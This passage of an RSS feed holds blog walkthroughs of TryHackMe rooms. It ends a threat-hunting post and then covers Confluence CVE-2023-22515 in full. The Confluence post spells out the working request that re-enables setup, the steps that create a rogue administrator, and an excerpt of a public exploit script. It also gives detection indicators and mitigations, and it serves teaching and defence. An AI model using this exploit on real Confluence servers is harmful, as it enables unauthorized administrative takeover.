exfiltration</pre><p>So the process is the same as before :)</p><p>I learnet about my mistake so I went straight to security logs.</p><p>We need to check the same type of logs like earlier EventID 4663.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*hd0HpA0LyWOhk5Nd4RODKg.png" /></figure><p>We can see there are only 2 logs related to that.</p><p>Within we see the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*mSJmAdjvq6owKBLUV5OTAQ.png" /></figure><p>So it is the etc/hosts messed with.</p><p>Lets type that out</p><pre>type C:\Windows\System32\drivers\etc\hosts</pre><pre>PS C:\Users\Administrator&gt; type C:\Windows\System32\drivers\etc\hosts<br># Copyright (c) 1993-2009 Microsoft Corp.<br>#<br># This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br>#<br># This file contains the mappings of IP addresses to host names. Each<br># entry should be kept on an individual line. The IP address should<br># be placed in the first column followed by the corresponding host name.<br># The IP address and the host name should be separated by at least one<br># space.<br>#<br># Additionally, comments (such as these) may be inserted on individual<br># lines or following the machine name denoted by a &#39;#&#39; symbol.<br>#<br># For example:<br>#<br>#      102.54.94.97     rhino.acme.com          # source server<br>#       38.25.63.10     x.acme.com              # x client host<br><br># localhost name resolution is handled within DNS itself.<br>#       127.0.0.1       localhost<br>#       ::1             localhost<br>THM.10.10.JHN   THM{NextGenHunt.thm.jhn}        # NextGenHunt analytics</pre><blockquote>Answer:: THM{NextGenHunt.thm.jhn}</blockquote><h3>Task 7— Conclusion<br> — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Congratulations!</h4><p>You just finished the Atomic Bird Goes Purple #1 room.</p><p>In this room, we covered the implementation of custom atomic tests and detection for Purple Team, Threat Emulation and Detection Engineering exercises. Are you ready for the second round? Then, continue with <a href="https://tryhackme.com/room/atomicbirdtwo">Atomic Bird Goes Purple #2 room</a> for more purple madness challenges!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*5pOISKnHDbCM22voD-OC3w.png" /></figure><blockquote>Question:: Proceed to <a href="https://tryhackme.com/room/atomicbirdtwo">Atomic Bird Goes Purple #2 room</a>!<br>Answer:: No answer needed!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=becc47a0b7a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me — Confluence CVE-2023–22515 — Walkthrough]]></title>
            <link>https://medium.com/@0x4C1D/try-hack-me-confluence-cve-2023-22515-walkthrough-c8a35710c23d?source=rss-b82c81e3983e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8a35710c23d</guid>
            <category><![CDATA[cve-2023-22515]]></category>
            <category><![CDATA[atlassian]]></category>
            <category><![CDATA[confluence]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[0x4C1D]]></dc:creator>
            <pubDate>Wed, 18 Oct 2023 06:52:18 GMT</pubDate>
            <atom:updated>2023-10-18T06:52:18.092Z</atom:updated>
            <content:encoded><![CDATA[<h3>Try Hack Me — Confluence CVE-2023–22515 — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*0NPZ-MjxzZKRGVRO-YDJLg.png" /></figure><p>Welcome again stranger :) and happy HTB user :)</p><p>So Confluence CVE has just been released on HTB therefore while writing this its only 1 day old.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjrshO9E36njL1STGeOzOg.png" /></figure><p>Room link: <a href="https://tryhackme.com/room/confluence202322515">https://tryhackme.com/room/confluence202322515</a><br>Difficulty: Easy<br>Tags: Security, Atlassian, Confluence, CVE-2023–22515</p><p>Lets go over this if you agree :)</p><h3>Task 1 — Introduction<br> — — — — — — — — — — — — — — — — — — — — — — — —</h3><p>On October 4th, 2023, Atlassian released a <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html">security advisory</a> regarding <strong>CVE-2023–22515</strong>, a broken access control vulnerability, with an assigned CVSS score of <strong>10.0</strong>. The vulnerability was introduced in version 8.0.0 of Confluence Server and Data Center editions and is present in versions &lt;8.3.3, &lt;8.4.3, &lt;8.5.2. According to Atlassian, the vulnerability has already been exploited in the wild.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/173/1*p5JxY3DpvApa9v6ciGUIrg.png" /></figure><p>An attacker can exploit the vulnerability to create an additional account in Confluence with full administrative privileges. The attacker needs no prior information to exploit the vulnerability. The vulnerability is believed to enable other unknown attack vectors and should be patched as soon as possible.</p><h4>Starting the VM</h4><p>To deploy the attached VM, press the green Start Machine button at the top of the task.</p><p>Your VM has a clean trial installation of Atlassian Confluence Data Center edition running on http://MACHINE_IP:8090, which will serve as our target. The machine may take around 5 minutes to boot up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*oRflSHbFMe6rbznFil3-pA.png" /></figure><blockquote>Question:: Click and continue learning!<br>Answer:: No answer needed!!</blockquote><h3>Task 2— Understanding the Vulnerability<br> — — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Confluence’s Initial Setup</h4><p>When running Confluence for the first time, you’ll go through the initial setup, which allows you to configure some basic parameters and create an administrative account. The initial setup can be reached by navigating to <a href="http://10.10.112.242:8090/setup/">http://10.10.112.242:8090/setup/.</a></p><p>If you try to access the initial setup after you have completed it, you won’t be able to go through the setup again but will be greeted with a message stating that the setup process is already complete:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9PpUUtz5eX0rgfgY.png" /></figure><p>This is normal expected behaviour and would normally not be useful for an attacker at all.</p><h4>Enter CVE-2023–22515</h4><p>This vulnerability allows an attacker to reenable the initial setup process. In doing so, the attacker can go through the step of creating a new administrator all over again.</p><p>This is all possible because Confluence is built using the Apache Struts framework, which depends on the XWork package. XWork allows you to define Actions in the form of a Java class. Each Action can be invoked through a URL, and the corresponding Java class will handle the request, do whatever the Action requires, and emit a response.</p><p>To clarify how Actions work, navigate to http://10.10.112.242:8090/. You should immediately be redirected to http://10.10.112.242:8090/login.action. This URL calls an Action bound to a Java class to handle login attempts. When an Action is invoked through its URL, the execute() method of the class will be called by default.</p><h4>Calling Getters/Setters via XWorks</h4><p>We can also call getters and setters in Action classes by using a URL specifying an HTTP parameter with the chain of attributes we want to get/set. As an example, if the login Action class had a setId() method, we could invoke it via the following URL:</p><pre>http://10.10.112.242:8090/login.action?Id=123</pre><p>This would execute setId(&#39;123&#39;) as defined in the corresponding Action class.</p><h4>Chaining Getters/Setters to Reenable the Initial Setup</h4><p>The reported exploit takes advantage of the ServerInfoAction Action. The reason for picking this specific Action is that we can build a chain of getters/setters from it to set the configuration parameter that turns the initial setup on or off.</p><p>If you analyse the code of the ServerInfoAction class, you&#39;ll see it extends the ConfluenceActionSupport class. By doing so, it will inherit all of its methods as well. One such method is a getter that returns a BootstrapStatusProvider object:</p><pre>public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {<br>  public BootstrapStatusProvider getBootstrapStatusProvider() {<br>    if (this.bootstrapStatusProvider == null)<br>      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); <br>    return this.bootstrapStatusProvider;<br>  }<br>}</pre><p>We care about the BootstrapStatusProvider class because it has another getter method we can use to retrieve an ApplicationConfiguration object:</p><pre>public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {<br>  public ApplicationConfiguration getApplicationConfig() {<br>    return this.delegate.getApplicationConfig();<br>  }<br>}</pre><p>As you have probably guessed by now, this object contains the application’s configuration, including an attribute that tells Confluence if the initial setup has been finished. Such attribute can be modified by using a setter in the ApplicationConfig class:</p><pre>public class ApplicationConfig implements ApplicationConfiguration {<br>  public synchronized void setSetupComplete(boolean setupComplete) {<br>    this.setupComplete = setupComplete;<br>  }  <br>}</pre><p>If we call setSetupComplete(false), we will effectively reenable the initial setup. Putting it all together, we can call that chain of getters/setters by accessing the following URL:</p><pre>http://10.10.112.242:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false</pre><p>This will be effectively translated by XWork into a call to:</p><pre>getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)</pre><p>Now, go to your browser and navigate to the crafted URL to trigger the vulnerability. You should get the following response from the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4v-b1jm7N5z6MaZ0.png" /></figure><h4>Creating an Admin Account</h4><p>Now that we can access the initial setup once again, let’s browse to:</p><pre>http://10.10.112.242:8090/setup/setupadministrator-start.action</pre><p>Fill in the details of your new admin user and click next:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V1rpDoGuG1Ci4hXM.png" /></figure><p>If all goes well, you should get access to Confluence with administrative privileges!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LD4-U09JPrVajRM_.png" /></figure><p>In this task, we have gone through a quick explanation of the vulnerability. If you want a more in-depth look at the technical details, check <a href="https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis?referrer=moreFromAKB">Rapid7 analysis in attackerKB</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*oRflSHbFMe6rbznFil3-pA.png" /></figure><blockquote>Question:: Log into Confluence with your new credentials. What is the value of the flag posted by admin?</blockquote><p>Run the following script as described.</p><pre>http://10.10.112.242:8090/server-info.action?<br>bootstrapStatusProvider.applicationConfig.setupComplete=false</pre><p>You should see the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*uuWwnhbkMpHFvOC1ufgJUQ.png" /></figure><p>Once done lets create an admin acc by running</p><pre>http://10.10.112.242:8090/setup/setupadministrator-start.action</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*_UTiKB_SJGpCUl-qTFOlxg.png" /></figure><p>Fill the data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*KdhJUiFDeVy7Yw4FUMfG9A.png" /></figure><p>I had to change the username to lowercase cuz of warning :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*FGWqZUL07MKaJGDwjW9LIQ.png" /></figure><p>Just navigate a bit around but I am sure you will find the correct place to check your creds :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*H7Nrz2wjNxa9wOSFvmQTHA.png" /></figure><blockquote>Answer:: THM{who_needs_keys_anyway}</blockquote><h3>Task 3— Automating Exploitation<br> — — — — — — — — — — — — — — — — — — — — — — — —</h3><p>As we have seen, exploiting the vulnerability is relatively straightforward and can be done manually using a single request and a regular browser. Even so, automated exploits are readily available.</p><p>Chocapikk developed one such exploit, which can be downloaded from <a href="https://github.com/Chocapikk/CVE-2023-22515">here</a>. Feel free to download and use the exploit against the target machine!</p><p>On the other hand, if you need to test many servers to see if they are vulnerable, a simple vulnerability scanner was developed by ErikWynter. It can be obtained from his <a href="https://github.com/ErikWynter/CVE-2023-22515-Scan">GitHub page</a>. Unlike Chocapikk’s script, this one will not exploit the vulnerability but test for it only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*oRflSHbFMe6rbznFil3-pA.png" /></figure><blockquote>Question:: Read Chocapikk’s script. What is the name of the Confluence user it creates?</blockquote><p>Seariously just read it :D Click on exploit.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*s7kmykBgPhs8iDmXHKVfGQ.png" /></figure><pre># deducted<br><br>requests.packages.urllib3.disable_warnings()<br><br>class Confluence:<br>    def __init__(self, base_url, verbose=False, output_file=None):<br>        self.base_url = base_url<br>        self.verbose = verbose<br>        self.username = &quot;pleasepatch&quot;<br>        self.password = &quot;Password2&quot;<br>        self.output_file = output_file<br><br><br>    def send_request(self, method, url, auth=None, data=None):<br><br># deducted</pre><p>Can you find the user? I am sure you can :D</p><blockquote>Answer:: pleasepatch</blockquote><h3>Task 4— Detection and Patching<br> — — — — — — — — — — — — — — — — — — — — — — — —</h3><h4>Detection</h4><p>Should you have an instance of a vulnerable version of Confluence, be sure to check for the following:</p><ul><li>Network access logs pointing to /setup/*.action. There&#39;s no reason for a regular user to request such URLs after installation.</li><li>Network access logs to /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false.</li><li>Review your Confluence users and look for suspicious accounts and members of the confluence-administrators group.</li></ul><h4>Patching</h4><p>All vulnerable instances should be upgraded to at least one of the following versions as soon as possible:</p><ul><li>8.3.3</li><li>8.4.3</li><li>8.5.2</li></ul><p>If upgrading is not possible immediately, access to the /setup/* endpoints may be blocked as a temporary measure. To do so, add the following security constraint inside the &lt;web-app&gt; tag in /&lt;confluence-install-dir&gt;/confluence/WEB-INF/web.xml:</p><pre>&lt;security-constraint&gt;<br>  &lt;web-resource-collection&gt;<br>    &lt;url-pattern&gt;/setup/*&lt;/url-pattern&gt;<br>    &lt;http-method-omission&gt;*&lt;/http-method-omission&gt;<br>  &lt;/web-resource-collection&gt;<br>  &lt;auth-constraint /&gt;<br>&lt;/security-constraint&gt;</pre><p>This will effectively restrict the access to /setup/*.</p><p>Remember that the mitigation instructions shouldn’t be considered a definitive patch but only an interim measure. Servers should still be upgraded as soon as it becomes possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*oRflSHbFMe6rbznFil3-pA.png" /></figure><blockquote>Question:: Is Confluence Server version 8.2.0 vulnerable to CVE-2023–22515? (yea/nay)<br>Answer:: Yea</blockquote><blockquote>Question:: Does applying mitigation actions replace the need to upgrade Confluence? (yea/nay)<br>Answer:: Nay</blockquote><h3>Task 5— Conclusion<br> — — — — — — — — — — — — — — — — — — — — — — — —</h3><p>In this room, we have analysed a broken access control vulnerability in Atlassian Confluence Server and Data Center that allows attackers to create a new administrator in the vulnerable application. As we have seen, exploiting the vulnerability is trivial, making it imperative to patch Confluence servers as soon as possible.</p><p>The vulnerability has been fixed in versions 8.3.3, 8.4.3 and 8.5.2. Any newer version branches should be safe as well.</p><p>Since the vulnerability was found to be exploited in the wild, checking our servers for indicators of compromise is also important. Remember that the vulnerability has been likely used by a nation-state actor, as confirmed by Atlassian in the <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html">original security advisory</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*oRflSHbFMe6rbznFil3-pA.png" /></figure><blockquote>Question:: Click and continue learning!<br>Answer:: No answer needed!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8a35710c23d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>